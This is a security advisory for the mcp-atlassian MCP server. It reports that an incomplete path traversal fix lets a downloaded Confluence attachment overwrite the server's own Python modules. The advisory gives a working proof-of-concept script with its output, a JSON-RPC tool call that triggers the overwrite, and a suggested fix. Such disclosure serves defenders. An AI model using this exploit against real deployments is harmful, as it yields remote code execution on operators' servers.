GHSA-6vmq-24h2-pj7jHigh

MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

Published
September 22, 2026
Last Modified
September 22, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.pyvalidate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}

validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:

_DOWNLOAD_BASE = Path(
    os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)

🎯 Affected products1

  • pip/mcp-atlassian:< 0.22.0

🔗 References (6)